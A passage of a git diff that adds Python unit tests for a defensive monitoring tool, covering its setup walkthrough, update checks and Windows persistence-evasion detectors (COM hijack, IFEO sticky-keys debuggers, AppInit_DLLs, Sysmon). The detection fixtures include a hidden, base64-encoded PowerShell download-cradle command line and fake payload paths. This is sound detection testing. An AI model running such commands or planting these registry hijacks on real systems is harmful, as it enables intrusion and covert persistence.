os.path.join(self.state, "aegis.py"), + "_SELF_PATH": os.path.join(self.tmp, "repo", "aegis.py"), + } + for k, v in overrides.items(): + self._saved[k] = getattr(aegis, k) + setattr(aegis, k, v) + os.makedirs(os.path.join(self.tmp, "repo")) + with open(aegis._SELF_PATH, "w", encoding="utf-8") as f: + f.write("# fake repo aegis.py v2\n") + + def tearDown(self): + for k, v in self._saved.items(): + setattr(aegis, k, v) + import shutil + shutil.rmtree(self.tmp, ignore_errors=True) + + # -- scripted interactive harness --------------------------------------- + def _script(self, yes_when=(), lines=()): + """Drive the walkthrough: tty gate answers True, _ask_yn answers yes + only when the question contains one of `yes_when` (case-insensitive), + _ask_line pops from `lines`. Returns the recorder dict.""" + rec = {"questions": [], "lines_asked": []} + self._stub(aegis, "_setup_stdio_is_interactive", lambda: True) + + def fake_yn(question): + rec["questions"].append(question) + q = question.lower() + return any(w in q for w in yes_when) + + pending = list(lines) + + def fake_line(prompt): + rec["lines_asked"].append(prompt) + return pending.pop(0) if pending else "" + + self._stub(aegis, "_ask_yn", fake_yn) + self._stub(aegis, "_ask_line", fake_line) + return rec + + def _stub(self, obj, name, value): + saved = getattr(obj, name) + self.addCleanup(setattr, obj, name, saved) + setattr(obj, name, value) + + def _run_setup(self): + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_setup() + return rc, out.getvalue() + + +# --------------------------------------------------------------------------- # +# setup — interactivity gate +# --------------------------------------------------------------------------- # +class TestSetupRefusesAutomation(SetupSandbox): + + def test_non_tty_caller_is_refused_with_zero_mutation(self): + """Under pytest stdin is not a tty — exactly the automation case. The + refusal must come BEFORE any state is created or touched: a refusal + that first writes state is not a refusal.""" + before = _inventory(self.tmp) + rc, out = self._run_setup() + self.assertEqual(1, rc) + self.assertIn("interactive", out.lower()) + self.assertEqual(before, _inventory(self.tmp), + "a refused setup still mutated the sandbox") + + +# --------------------------------------------------------------------------- # +# setup — the walkthrough itself +# --------------------------------------------------------------------------- # +class TestSetupWalkthrough(SetupSandbox): + + def test_all_no_mutates_nothing(self): + """Default No everywhere means a user who reads and declines every + question ends with a byte-identical sandbox — opt-IN, structurally.""" + rec = self._script(yes_when=()) + before = _inventory(self.tmp) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + self.assertEqual(before, _inventory(self.tmp), + "an all-No walkthrough mutated state") + self.assertTrue(rec["questions"], "the walkthrough asked nothing") + self.assertEqual([], rec["lines_asked"], + "free-text prompts must only follow a yes") + + def test_yes_to_canary_runs_the_real_canary_command(self): + """Orchestration, not reimplementation: a yes must leave exactly the + artifacts `aegis.py canary` leaves — the planted file with the real + canary content, and its hash recorded in CANARY_STATE.""" + self._script(yes_when=("canary",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + planted = os.path.join(self.canarydir, aegis.CANARY_NAME) + self.assertTrue(os.path.isfile(planted), "no canary file was planted") + with open(planted, encoding="utf-8") as f: + self.assertEqual(aegis.CANARY_CONTENT, f.read()) + with open(aegis.CANARY_STATE, encoding="utf-8") as f: + self.assertIn(planted, json.load(f)) + + def test_second_run_reports_enabled_and_reruns_nothing(self): + """Idempotency: a tier already on is detected from its state, shown as + enabled, and NOT re-prompted or re-run. Pinned on the artifacts: the + second run leaves every file byte-and-mtime identical.""" + self._script(yes_when=("canary",)) + self._run_setup() + # Pre-seed latch state too: enabled-detection must not depend on the + # walkthrough having done the enabling itself. + aegis.save_json(aegis.LATCH_FILE, {"/x": {"mode": "uchg", "ts": 1}}) + + rec = self._script(yes_when=("canary", "latch")) # yes again — must not matter + before = _inventory(self.tmp) + rc, out = self._run_setup() + self.assertEqual(0, rc) + self.assertEqual(before, _inventory(self.tmp), + "an idempotent re-run rewrote state") + self.assertIn("[enabled] canary", out) + self.assertIn("[enabled] latch", out) + for q in rec["questions"]: + low = q.lower() + self.assertNotIn("canary", low, "re-prompted an enabled tier") + self.assertNotIn("latch", low, "re-prompted an enabled tier") + + def test_yes_to_heartbeat_stores_the_pasted_url_in_config(self): + """The one background egress is configured by pasting a URL the user + controls into config.json — no network call is made to 'verify' it.""" + self._script(yes_when=("heartbeat",), + lines=("https://hb.example/beat",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + with open(aegis.AEGIS_CONFIG, encoding="utf-8") as f: + cfg = json.load(f) + self.assertEqual("https://hb.example/beat", cfg["heartbeat_url"]) + + def test_heartbeat_rejects_a_non_http_paste(self): + """A mistyped paste must not arm background egress to garbage.""" + self._script(yes_when=("heartbeat",), lines=("ftp://nope",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + self.assertEqual({}, aegis.load_json(aegis.AEGIS_CONFIG, {})) + + def test_walkthrough_never_calls_authorize_interactive(self): + """setup's tty gate is a UX refusal, not a security gate — nothing it + orchestrates may consume the out-of-band authorization path, which + belongs to unlatch alone.""" + def boom(*_a, **_k): + raise AssertionError("setup reached authorize_interactive") + self._stub(aegis, "authorize_interactive", boom) + self._script(yes_when=("canary", "heartbeat"), lines=("",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + + +# --------------------------------------------------------------------------- # +# update-check — runtime-copy drift +# --------------------------------------------------------------------------- # +class TestUpdateCheck(SetupSandbox): + + def _write(self, path, text): + with open(path, "w", encoding="utf-8") as f: + f.write(text) + + def test_not_installed_says_so_and_exits_zero(self): + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(0, rc) + self.assertIn("no runtime copy", out.getvalue().lower()) + + def test_in_sync_exits_zero(self): + with open(aegis._SELF_PATH, encoding="utf-8") as f: + self._write(aegis.RUNTIME_SCRIPT, f.read()) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(0, rc) + self.assertIn("in sync", out.getvalue().lower()) + + def test_drift_exits_one_with_the_exact_refresh_line(self): + """The failure the command exists for: an edited repo file and a stale + runtime copy. The output must contain a runnable refresh command that + names the INVOKED file, preserving the recorded install mode so a + watch-mode install is not silently downgraded to scan mode.""" + self._write(aegis.RUNTIME_SCRIPT, "# OLD runtime copy v1\n") + aegis.save_json(aegis.SELFSTATE, {"installed": True, + "install_mode": "watch"}) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(1, rc) + text = out.getvalue() + self.assertIn("STALE", text) + # _refresh_line() quotes the path on Windows (the reference repo path + # has spaces and '&'), so reimplementing the quoting here would just + # re-encode the same assumption the production code makes. Use it as + # the oracle instead — SELFSTATE is unchanged since cmd_update_check + # read it, so both calls see the same install_mode. + self.assertIn(aegis._refresh_line(), text) + + def test_refresh_line_defaults_to_scan_mode(self): + self._write(aegis.RUNTIME_SCRIPT, "# OLD runtime copy v1\n") + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(1, rc) + self.assertIn(aegis._refresh_line(), out.getvalue()) + + def test_doctor_surfaces_drift_as_a_problem(self): + """doctor is where rot surfaces: a stale runtime copy must degrade the + doctor verdict, not hide behind a command nobody runs.""" + self._write(aegis.RUNTIME_SCRIPT, "# OLD runtime copy v1\n") + home = os.path.join(self.tmp, "home") + for d in ("Downloads", "Desktop"): + os.makedirs(os.path.join(home, d)) + self._stub(aegis, "HOME", home) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_doctor() + self.assertEqual(1, rc) + self.assertIn("STALE", out.getvalue()) + + def test_doctor_reports_in_sync_quietly(self): + with open(aegis._SELF_PATH, encoding="utf-8") as f: + self._write(aegis.RUNTIME_SCRIPT, f.read()) + home = os.path.join(self.tmp, "home") + for d in ("Downloads", "Desktop"): + os.makedirs(os.path.join(home, d)) + self._stub(aegis, "HOME", home) + out = io.StringIO() + with contextlib.redirect_stdout(out): + aegis.cmd_doctor() + self.assertIn("runtime copy", out.getvalue()) + self.assertNotIn("STALE", out.getvalue()) + + +# --------------------------------------------------------------------------- # +# update-check --remote — the by-hand network half +# --------------------------------------------------------------------------- # +class TestUpdateCheckRemote(SetupSandbox): + + def _fake_origin(self, url): + """A .git/config is enough: the derivation must work even where the + git binary is not on run()'s restricted PATH (Windows).""" + gd = os.path.join(self.tmp, "repo", ".git") + os.makedirs(gd, exist_ok=True) + with open(os.path.join(gd, "config"), "w", encoding="utf-8") as f: + f.write('[remote "origin"]\n\turl = %s\n\tfetch = ' + '+refs/heads/*:refs/remotes/origin/*\n' % url) + + def _stub_urlopen(self, body): + import urllib.request + calls = [] + + class _Resp: + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + def read(self): + return body + + def fake_urlopen(url, timeout=0): + calls.append(url) + return _Resp() + + self._stub(urllib.request, "urlopen", fake_urlopen) + return calls + + def test_remote_fetches_exactly_the_stated_github_raw_url(self): + self._fake_origin("https://github.com/owner/repo.git") + with open(aegis._SELF_PATH, "rb") as f: + calls = self._stub_urlopen(f.read()) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check(remote=True) + self.assertEqual(0, rc) + want = "https://raw.githubusercontent.com/owner/repo/HEAD/aegis.py" + self.assertEqual([want], calls, "fetched something other than the " + "stated canonical URL, or twice") + self.assertIn(want, out.getvalue(), "the fetched URL must be stated") + + def test_remote_mismatch_exits_one(self): + self._fake_origin("git@github.com:owner/repo.git") + calls = self._stub_urlopen(b"# different upstream bytes\n") + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check(remote=True) + self.assertEqual(1, rc) + self.assertEqual(1, len(calls)) + self.assertIn("DIFFERS", out.getvalue()) + + def test_no_github_origin_skips_the_fetch(self): + """A non-GitHub or missing origin must not guess a URL.""" + self._fake_origin("https://gitlab.example/owner/repo.git") + calls = self._stub_urlopen(b"") + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check(remote=True) + self.assertEqual(2, rc) + self.assertEqual([], calls, "fetched despite no GitHub origin") + + def test_plain_update_check_never_touches_the_network(self): + """The scan path never reaches this code at all, and even the by-hand + command without --remote must make zero network calls — the same + structural local-only guarantee as `vt`.""" + def boom(*_a, **_k): + raise AssertionError("update-check without --remote opened a URL") + import urllib.request + self._stub(urllib.request, "urlopen", boom) + self._write_runtime_stale() + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(1, rc) + + def _write_runtime_stale(self): + with open(aegis.RUNTIME_SCRIPT, "w", encoding="utf-8") as f: + f.write("# OLD runtime copy v1\n") + + def test_urllib_import_is_lazy_inside_the_remote_branch(self): + """`import urllib.request` must sit inside cmd_update_check (the `vt` + pattern), so the scan path never even loads the networking module.""" + import inspect + src = inspect.getsource(aegis.cmd_update_check) + self.assertIn("import urllib.request", src) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_win_evasion.py b/tests/test_win_evasion.py new file mode 100644 index 0000000..46495f1 --- /dev/null +++ b/tests/test_win_evasion.py @@ -0,0 +1,471 @@ +"""Windows persistence-evasion sensors: COM hijack, IFEO, AppInit_DLLs, Sysmon. + +The rung above Run keys/schtasks/Winlogon (which the persistence snapshot +already covers): registry hijack points that execute inside TRUSTED processes, +so no autostart entry ever appears (T1546.015 / .012 / .008 / .010), plus a +narrow harvest of the Sysmon Operational channel where Sysmon is installed. + +Same doctrine as test_cross_platform.py: every scoring/parsing function is +pure and runs on every host with text/dict fixtures; the winreg walks execute +end-to-end against a fake winreg module injected into sys.modules (the +WindowsPersistenceLivePlumbing pattern), so no test ever touches a real +registry — and none of these tests writes to ~/.aegis or fires a notification +(diff/parse functions only construct finding dicts). +""" +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 + + +# --------------------------------------------------------------------------- # +# Fake winreg (mirrors the stdlib API surface the snapshots use: OpenKey as a +# context manager and on an already-open key, EnumKey/EnumValue ending with +# OSError, QueryValueEx). OSError(2) IS FileNotFoundError in Python 3, so a +# missing key exercises the real-empty branch; _DeniedWinreg exercises the +# non-answer branch with a genuine permission error. +# --------------------------------------------------------------------------- # +class _FakeKey: + def __init__(self, values=None, subkeys=None): + self.values = list((values or {}).items()) + self.subkeys = subkeys or {} + + def __enter__(self): + return self + + def __exit__(self, *exc): + return False + + +class _FakeWinreg: + HKEY_CURRENT_USER = "HKCU" + HKEY_LOCAL_MACHINE = "HKLM" + + def __init__(self, tree): + # tree: {("HKCU", "Sub\\Key"): _FakeKey} + self.tree = tree + + def OpenKey(self, hive, subkey): + if isinstance(hive, _FakeKey): + child = hive.subkeys.get(subkey) + if child is None: + raise OSError(2, "not found") + return child + key = self.tree.get((hive, subkey)) + if key is None: + raise OSError(2, "not found") + return key + + def EnumKey(self, key, index): + names = sorted(key.subkeys) + try: + return names[index] + except IndexError: + raise OSError(259, "no more data") + + def EnumValue(self, key, index): + try: + name, val = key.values[index] + except IndexError: + raise OSError(259, "no more data") + return name, val, 1 + + def QueryValueEx(self, key, name): + for k, v in key.values: + if k == name: + return v, 1 + raise OSError(2, "no such value") + + +class _DeniedWinreg(_FakeWinreg): + def OpenKey(self, hive, subkey): + raise PermissionError(13, "access denied") + + +class _WinFlags(unittest.TestCase): + """Patch the platform flags + prefix tables so is_risky_location grades + literal Windows paths identically on every host (the established pattern + from WindowsPersistenceLivePlumbing).""" + + def setUp(self): + self._saved = {k: getattr(aegis, k) for k in + ("IS_WIN", "IS_MAC", "IS_LINUX", + "TRUSTED_PREFIXES", "RISKY_PREFIXES")} + aegis.IS_WIN, aegis.IS_MAC, aegis.IS_LINUX = True, False, False + aegis.TRUSTED_PREFIXES = ("C:\\Windows\\", "C:\\Program Files\\") + aegis.RISKY_PREFIXES = ("C:\\Users\\",) + + def tearDown(self): + for k, v in self._saved.items(): + setattr(aegis, k, v) + + def _winreg(self, fake): + sys.modules["winreg"] = fake + self.addCleanup(sys.modules.pop, "winreg", None) + + +# --------------------------------------------------------------------------- # +# COM hijack (T1546.015): HKCU CLSID server registrations, baseline-diffed +# --------------------------------------------------------------------------- # +class ComHijackDiff(_WinFlags): + RISKY = "C:\\Users\\bob\\AppData\\Roaming\\evil.dll" + TRUSTED = "C:\\Program Files\\Vendor\\real.dll" + + def test_new_server_in_user_writable_path_is_high(self): + fs = aegis.diff_com_hijack( + {}, {"{018D5C66-4533-4307-9B53-224DE2ED1FE6}\\InprocServer32": + self.RISKY}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("com-hijack", fs[0]["markers"]) + + def test_changed_target_into_user_writable_path_is_high(self): + key = "{018D5C66-4533-4307-9B53-224DE2ED1FE6}\\InprocServer32" + fs = aegis.diff_com_hijack({key: self.TRUSTED}, {key: self.RISKY}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("CHANGED", fs[0]["title"]) + + def test_new_server_in_program_files_is_silent(self): + # The benign pole: per-user CLSID registrations pointing at an + # admin-writable install tree are routine app-install churn. + fs = aegis.diff_com_hijack( + {}, {"{AAAA0000-0000-0000-0000-000000000001}\\InprocServer32": + self.TRUSTED}) + self.assertEqual([], fs) + + def test_unchanged_entries_are_silent(self): + snap = {"{X}\\InprocServer32": self.RISKY} + self.assertEqual([], aegis.diff_com_hijack(snap, snap)) + + def test_env_var_target_is_expanded_before_grading(self): + os.environ["AEGIS_FAKE_ROAMING"] = "C:\\Users\\bob\\AppData\\Roaming" + self.addCleanup(os.environ.pop, "AEGIS_FAKE_ROAMING", None) + fs = aegis.diff_com_hijack( + {}, {"{X}\\InprocServer32": "%AEGIS_FAKE_ROAMING%\\evil.dll"}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_quoted_localserver_command_line_resolves_the_exe(self): + fs = aegis.diff_com_hijack( + {}, {"{X}\\LocalServer32": + '"C:\\Users\\bob\\AppData\\Local\\srv.exe" /automation'}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + +class ComHijackSnapshot(_WinFlags): + def test_clsid_tree_walk_collects_both_server_types(self): + clsids = _FakeKey(subkeys={ + "{A}": _FakeKey(subkeys={ + "InprocServer32": _FakeKey({"": "C:\\pf\\a.dll", + "ThreadingModel": "Both"})}), + "{B}": _FakeKey(subkeys={ + "LocalServer32": _FakeKey({"": '"C:\\pf\\b.exe" /auto'})}), + "{C}": _FakeKey(subkeys={"ProgID": _FakeKey({"": "c.prog"})}), + }) + self._winreg(_FakeWinreg({("HKCU", aegis._COM_CLSID_KEY): clsids})) + snap = aegis.snapshot_com_hijack() + self.assertEqual({"{A}\\InprocServer32": "C:\\pf\\a.dll", + "{B}\\LocalServer32": '"C:\\pf\\b.exe" /auto'}, snap) + + def test_missing_clsid_root_is_a_real_empty(self): + # HKCU\...\CLSID is created by the first per-user registration, so a + # profile without one has genuinely zero entries — an answer, not a gap. + self._winreg(_FakeWinreg({})) + self.assertEqual({}, aegis.snapshot_com_hijack()) + + def test_unreadable_registry_is_a_non_answer(self): + self._winreg(_DeniedWinreg({})) + self.assertIsNone(aegis.snapshot_com_hijack()) + + +# --------------------------------------------------------------------------- # +# IFEO Debugger + SilentProcessExit (T1546.012 / T1546.008) +# --------------------------------------------------------------------------- # +class IfeoDiff(unittest.TestCase): + PAYLOAD = "C:\\Users\\bob\\AppData\\Roaming\\shell.exe" + + def test_new_debugger_on_each_accessibility_binary_is_critical(self): + # Writing this needs admin; READING it does not, and the value + # appearing is the signal regardless of who wrote it. sethc.exe-class + # binaries launch from the LOCK SCREEN, so this is the pre-auth + # sticky-keys backdoor. + for exe in ("sethc.exe", "utilman.exe", "osk.exe", "magnify.exe", + "narrator.exe", "displayswitch.exe"): + fs = aegis.diff_ifeo({}, {"debugger:%s" % exe: self.PAYLOAD}) + self.assertEqual(1, len(fs), exe) + self.assertEqual("CRITICAL", fs[0]["severity"], exe) + + def test_new_debugger_on_any_other_binary_is_high(self): + fs = aegis.diff_ifeo({}, {"debugger:chrome.exe": self.PAYLOAD}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_new_monitorprocess_is_high(self): + fs = aegis.diff_ifeo({}, {"monitor:notepad.exe": self.PAYLOAD}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_changed_debugger_is_reported(self): + key = "debugger:sethc.exe" + fs = aegis.diff_ifeo({key: "C:\\old\\dbg.exe"}, {key: self.PAYLOAD}) + self.assertEqual(1, len(fs)) + self.assertEqual("CRITICAL", fs[0]["severity"]) + self.assertIn("CHANGED", fs[0]["title"]) + + def test_preexisting_entry_adopted_at_baseline_is_silent(self): + # The benign pole: a developer's vsjitdebugger registration that was + # present when the surface was first sighted must never re-alert. + snap = {"debugger:myapp.exe": + '"C:\\Windows\\system32\\vsjitdebugger.exe"'} + self.assertEqual([], aegis.diff_ifeo(snap, snap)) + + +class IfeoSnapshot(_WinFlags): + def test_debugger_and_monitorprocess_values_are_snapshotted(self): + ifeo = _FakeKey(subkeys={ + "sethc.exe": _FakeKey({"Debugger": "C:\\evil\\d.exe"}), + "myapp.exe": _FakeKey({"MitigationOptions": 256}), + }) + spe = _FakeKey(subkeys={ + "notepad.exe": _FakeKey({"MonitorProcess": "C:\\evil\\m.exe"}), + }) + self._winreg(_FakeWinreg({("HKLM", aegis._WIN_IFEO_KEY): ifeo, + ("HKLM", aegis._WIN_SPE_KEY): spe})) + snap = aegis.snapshot_ifeo() + self.assertEqual({"debugger:sethc.exe": "C:\\evil\\d.exe", + "monitor:notepad.exe": "C:\\evil\\m.exe"}, snap) + + def test_missing_keys_are_a_real_empty(self): + self._winreg(_FakeWinreg({})) + self.assertEqual({}, aegis.snapshot_ifeo()) + + def test_unreadable_registry_is_a_non_answer(self): + self._winreg(_DeniedWinreg({})) + self.assertIsNone(aegis.snapshot_ifeo()) + + +# --------------------------------------------------------------------------- # +# AppInit_DLLs (T1546.010) +# --------------------------------------------------------------------------- # +class AppInitDiff(unittest.TestCase): + def test_value_appearing_is_high(self): + fs = aegis.diff_appinit( + {}, {aegis._WIN_APPINIT_KEYS[0]: "C:\\Users\\b\\evil.dll"}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_value_changing_is_high(self): + key = aegis._WIN_APPINIT_KEYS[0] + fs = aegis.diff_appinit({key: "old.dll"}, {key: "new.dll"}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("CHANGED", fs[0]["title"]) + + def test_stable_value_is_silent(self): + snap = {aegis._WIN_APPINIT_KEYS[0]: "corp-mandated.dll"} + self.assertEqual([], aegis.diff_appinit(snap, snap)) + + +class AppInitSnapshot(_WinFlags): + def test_nonempty_value_captured_and_empty_skipped(self): + self._winreg(_FakeWinreg({ + ("HKLM", aegis._WIN_APPINIT_KEYS[0]): + _FakeKey({"AppInit_DLLs": "C:\\x\\hook.dll", + "LoadAppInit_DLLs": 1}), + ("HKLM", aegis._WIN_APPINIT_KEYS[1]): + _FakeKey({"AppInit_DLLs": " "}), + })) + self.assertEqual({aegis._WIN_APPINIT_KEYS[0]: "C:\\x\\hook.dll"}, + aegis.snapshot_appinit()) + + def test_unreadable_registry_is_a_non_answer(self): + self._winreg(_DeniedWinreg({})) + self.assertIsNone(aegis.snapshot_appinit()) + + +# --------------------------------------------------------------------------- # +# Sysmon harvest: EID 1 (ProcessCreate), 6 (driver loaded), 25 (tampering) +# --------------------------------------------------------------------------- # +_EID1 = ("Process Create: RuleName: - UtcTime: 2026-08-10 14:03:22.001 " + "ProcessGuid: {a23eae89-bd56-5903-0000-0010e9d95e00} ProcessId: 6228 " + "Image: %(image)s FileVersion: - Description: - Product: - Company: - " + "OriginalFileName: x CommandLine: %(cmd)s " + "CurrentDirectory: C:\\Users\\bob\\ User: DESKTOP-1\\bob " + "LogonGuid: {a23eae89-0000-0000-0000-000000000000} LogonId: 0x3E7 " + "TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA256=AAAA " + "ParentProcessGuid: {a23eae89-1111-0000-0000-000000000000} " + "ParentProcessId: 800 ParentImage: C:\\Windows\\explorer.exe " + "ParentCommandLine: explorer.exe ParentUser: DESKTOP-1\\bob") + +_EID6 = ("Driver loaded: RuleName: - UtcTime: 2026-08-10 13:00:00.000 " + "ImageLoaded: %(driver)s Hashes: SHA256=BBBB Signed: %(signed)s " + "Signature: %(sig)s SignatureStatus: %(status)s") + +_EID25 = ("Process Tampering: RuleName: - UtcTime: 2026-08-10 15:00:00.000 " + "ProcessGuid: {a23eae89-2222-0000-0000-000000000000} " + "ProcessId: 4432 Image: C:\\Users\\bob\\AppData\\Roaming\\svc.exe " + "Type: Image is replaced User: DESKTOP-1\\bob") + +_ENC = ("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBi" + "AEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcA") + + +def _row(eid, msg): + return [("Microsoft-Windows-Sysmon/Operational", eid, + "2026-08-10T14:03:22.0000000Z", msg)] + + +class SysmonFieldParser(unittest.TestCase): + def test_image_and_commandline_are_extracted(self): + msg = _EID1 % {"image": "C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe", + "cmd": '"C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe" /S'} + kv = aegis._parse_sysmon_kv(msg) + self.assertEqual("C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe", + kv["Image"]) + self.assertEqual('"C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe" /S', + kv["CommandLine"]) + self.assertEqual("C:\\Windows\\explorer.exe", kv["ParentImage"]) + + def test_driver_signature_fields_are_extracted(self): + kv = aegis._parse_sysmon_kv(_EID6 % { + "driver": "C:\\Windows\\Temp\\evil.sys", "signed": "false", + "sig": "-", "status": "Unavailable"}) + self.assertEqual("C:\\Windows\\Temp\\evil.sys", kv["ImageLoaded"]) + self.assertEqual("false", kv["Signed"]) + self.assertEqual("Unavailable", kv["SignatureStatus"]) + + def test_garbage_never_raises(self): + self.assertEqual({}, aegis._parse_sysmon_kv("")) + self.assertEqual({}, aegis._parse_sysmon_kv("no fields here")) + + +class SysmonScoring(_WinFlags): + def test_eid1_hostile_commandline_scores_high(self): + msg = _EID1 % {"image": "C:\\Windows\\System32\\" + "WindowsPowerShell\\v1.0\\powershell.exe", + "cmd": "powershell.exe -nop -w hidden -enc " + _ENC} + fs = aegis._sysmon_findings(_row("1", msg)) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("powershell-encoded-command", fs[0]["markers"]) + + def test_eid1_risky_image_alone_is_medium_not_silent(self): + msg = _EID1 % {"image": "C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe", + "cmd": '"C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe" /S'} + fs = aegis._sysmon_findings(_row("1", msg)) + self.assertEqual(1, len(fs)) + self.assertEqual("MEDIUM", fs[0]["severity"]) + self.assertIn("risky-path-exec", fs[0]["markers"]) + + def test_eid1_signed_binary_in_trusted_path_is_silent(self): + # The benign pole: an ordinary process creation must produce nothing. + msg = _EID1 % {"image": "C:\\Program Files\\Microsoft Teams\\Teams.exe", + "cmd": '"C:\\Program Files\\Microsoft Teams\\Teams.exe" ' + "--type=renderer"} + self.assertEqual([], aegis._sysmon_findings(_row("1", msg))) + + def test_eid6_unsigned_driver_is_high(self): + msg = _EID6 % {"driver": "C:\\Windows\\Temp\\evil.sys", + "signed": "false", "sig": "-", "status": "Unavailable"} + fs = aegis._sysmon_findings(_row("6", msg)) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("unsigned-driver", fs[0]["markers"]) + + def test_eid6_validly_signed_driver_is_silent(self): + msg = _EID6 % {"driver": "C:\\Windows\\System32\\drivers\\rt.sys", + "signed": "true", "sig": "Realtek Semiconductor Corp", + "status": "Valid"} + self.assertEqual([], aegis._sysmon_findings(_row("6", msg))) + + def test_eid25_process_tampering_is_high(self): + fs = aegis._sysmon_findings(_row("25", _EID25)) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("process-tampering", fs[0]["markers"]) + + def test_duplicate_events_dedupe_to_one_finding(self): + rows = _row("25", _EID25) * 3 + self.assertEqual(1, len(aegis._sysmon_findings(rows))) + + def test_unknown_event_ids_are_ignored(self): + self.assertEqual([], aegis._sysmon_findings(_row("13", "whatever"))) + + +class SysmonProbeContract(unittest.TestCase): + def _with_run(self, fn, out="", err="", rc=0): + saved = aegis.run + aegis.run = lambda cmd, timeout=15, extra_env=None: (out, err, rc) + try: + return fn() + finally: + aegis.run = saved + + def test_probe_failure_is_a_non_answer(self): + self.assertIsNone(self._with_run(aegis.check_sysmon_log, + err="boom", rc=1)) + + def test_readable_channel_reporting_a_read_error_is_a_non_answer(self): + # The channel exists but Get-WinEvent failed for a non-"no events" + # reason: coverage was possible and was not obtained — DEGRADED. + self.assertIsNone(self._with_run(aegis.check_sysmon_log, + out="sysmon-probe=failed\n", rc=0)) + + def test_no_events_in_the_window_is_a_real_empty(self): + self.assertEqual([], self._with_run(aegis.check_sysmon_log)) + + +class SysmonRegistration(_WinFlags): + def test_channel_absent_means_sensor_absent_not_degraded(self): + # Sysmon not installed is a machine without the product — no sensor, + # no DEGRADED health row, exactly like a launchd check on Linux. + self._winreg(_FakeWinreg({})) + self.assertEqual([], aegis._sysmon_sensor()) + + def test_channel_present_registers_the_sensor(self): + self._winreg(_FakeWinreg( + {("HKLM", aegis._SYSMON_CHANNEL_KEY): _FakeKey()})) + sensors = aegis._sysmon_sensor() + self.assertEqual(1, len(sensors)) + self.assertEqual("sysmon-log", sensors[0][0]) + self.assertIs(aegis.check_sysmon_log, sensors[0][1]) + + def test_unreadable_channel_key_still_registers(self): + # Cannot prove absence: register, and let the harvest degrade honestly + # rather than silently dropping possible coverage. + self._winreg(_DeniedWinreg({})) + self.assertEqual(1, len(aegis._sysmon_sensor())) + + +# --------------------------------------------------------------------------- # +# Registry integrity for the new surfaces +# --------------------------------------------------------------------------- # +class EvasionRegistryIntegrity(unittest.TestCase): + def test_all_new_entrypoints_exist_everywhere(self): + for name in ("snapshot_com_hijack", "diff_com_hijack", + "snapshot_ifeo", "diff_ifeo", + "snapshot_appinit", "diff_appinit", + "check_sysmon_log", "_sysmon_sensor"): + self.assertTrue(callable(getattr(aegis, name, None)), + "%s is missing" % name) + + @unittest.skipUnless(aegis.IS_WIN, "surface registry is per-platform") + def test_windows_registers_the_evasion_surfaces(self): + keys = {k for k, _s, _d in aegis.SURFACES} + for key in ("win_com_hijack", "win_ifeo", "win_appinit"): + self.assertIn(key, keys) + + def test_posix_does_not_register_the_evasion_surfaces(self): + if aegis.IS_WIN: + self.skipTest("windows host") + keys = {k for k, _s, _d in aegis.SURFACES} + for key in ("win_com_hijack", "win_ifeo", "win_appinit"): + self.assertNotIn(key, keys) + + +if __name__ == "__main__": + unittest.main()